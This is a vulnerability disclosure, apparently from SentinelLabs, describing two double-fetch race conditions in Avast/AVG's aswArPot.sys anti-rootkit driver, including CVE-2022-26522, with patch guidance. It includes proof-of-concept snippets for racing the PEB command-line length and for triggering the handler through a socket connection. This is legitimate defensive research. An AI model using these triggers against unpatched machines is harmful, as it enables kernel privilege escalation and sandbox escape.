Avast’s “Anti Rootkit” driver (also used by AVG) has been found to be vulnerable to two high severity attacks that could potentially lead to privilege escalation by running code in the kernel from a non-administrator user. Avast and AVG are widely deployed products, and these flaws have potentially left many users worldwide vulnerable to cyber attacks.
Given that these products run as privileged services on Windows devices, such bugs in the very software that is intended to protect users from harm present both an opportunity to attackers and a grave threat to users.
Security products such as these run at the highest level of privileges and are consequently highly attractive to attackers, who often use such vulnerabilities to carry out sophisticated attacks. Vulnerabilities such as this and others discovered by SentinelLabs (1, 2, 3) present a risk to organizations and users deploying the affected software.
As we reported recently, threat actors will exploit such flaws given the opportunity, and it is vital that affected users take appropriate mitigation actions. According to Avast, the vulnerable feature was introduced in Avast 12.1, which was released in January 2012. Given the longevity of this flaw, we estimate that millions of users were likely exposed.
Security products ensure device security and are supposed to prevent such attacks from happening, but what if the security product itself introduces a vulnerability? Who’s protecting the protectors?
The vulnerable routine resides in a socket connection handler in the kernel driver aswArPot.sys
. Since the two reported vulnerabilities are very similar, we will primarily focus on the details of CVE-2022-26522.
CVE-2022-26522 refers to a vulnerability that resides in aswArPot+0xc4a3
.
As can be seen in the image above, the function first attaches the current thread to the target process, and then uses nt!PsGetProcessPeb
to obtain a pointer to the current process PEB (red arrow). It then fetches (first time) PPEB->ProcessParameters->CommandLine.Length
to allocate a new buffer (yellow arrow). It then copies the user supplied buffer at PPEB->ProcessParameters->CommandLine.Buffer
with the size of PPEB->ProcessParameters->CommandLine.Length
(orange arrow), which is the first fetch.
During this window of opportunity, an attacker could race the kernel thread and modify the Length variable.
Looper thread:
PTEB tebPtr = reinterpret_cast(__readgsqword(reinterpret_cast (&static_cast (nullptr)->Self))); PPEB pebPtr = tebPtr->ProcessEnvironmentBlock; pebPtr->ProcessParameters->CommandLine.Length = 2; while (1) { pebPtr->ProcessParameters->CommandLine.Length ^= 20000; }
As can be seen from the code snippet above, the code obtains a pointer to the PEB structure and then flips the Length field in the process command line structure.
The vulnerability can be triggered inside the driver by initiating a socket connection as shown by the following code.
printf("\nInitialising Winsock..."); if (WSAStartup(MAKEWORD(2, 2), &wsa) != 0) { printf("Failed. Error Code : %d", WSAGetLastError()); return 1; } printf("Initialised.\n"); if ((s = socket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET) { printf("Could not create socket : %d", WSAGetLastError()); } printf("Socket created.\n"); server.sin_addr.s_addr = inet_addr(IP_ADDRESS); server.sin_family = AF_INET; server.sin_port = htons(80); if (connect(s, (struct sockaddr*)&server, sizeof(server)) < 0) { puts("connect error"); return 1; } puts("Connected"); message = (char *)"GET / HTTP/1.1\r\n\r\n"; if (send(s, message, strlen(message), 0) < 0) { puts("Send failed"); return 1; } puts("Data Sent!\n");
So the whole flow looks like this:
Once the vulnerability is triggered, the user sees the following alert from the OS.
The second vulnerable function is at aswArPot+0xbb94
and is very similar to the first vulnerability. This function double fetches the Length field from a user controlled pointer, too.
This vulnerable code is a part of several handlers in the driver and, therefore, can be triggered multiple ways such as via image load callback.
Both of these vulnerabilities were fixed in version 22.1.
Due to the nature of these vulnerabilities, they can be triggered from sandboxes and might be exploitable in contexts other than just local privilege escalation. For example, the vulnerabilities could be exploited as part of a second stage browser attack or to perform a sandbox escape, among other possibilities.
As we have noted with similar flaws in other products recently (1, 2, 3), such vulnerabilities have the potential to allow complete take over of a device, even without privileges, due to the ability to execute code in kernel mode. Among the obvious abuses of such vulnerabilities are that they could be used to bypass security products.
The majority of Avast and AVG users will receive the patch (version 22.1) automatically; however, those using air gapped or on premise installations are advised to apply the patch as soon as possible.
These high severity vulnerabilities, which have been present in Avast since 2012, affect dozens of millions of users worldwide. As with another vulnerability SentinelLabs disclosed that remained hidden for 12 years, the impact this could have on users and enterprises that fail to patch is far reaching and significant.
While we haven’t seen any indicators that these vulnerabilities have been exploited in the wild up till now, with dozens of millions of users affected, it is possible that attackers will seek out those that do not take the appropriate action. Our reason for publishing this research is to not only help our customers but also the community to understand the risk and to take action.
As part of the commitment of SentinelLabs to advancing industry security, we actively invest in vulnerability research, including advanced threat modeling and vulnerability testing of various platforms and technologies.
We would like to thank Avast for their approach to our disclosure and for quickly remediating the vulnerabilities.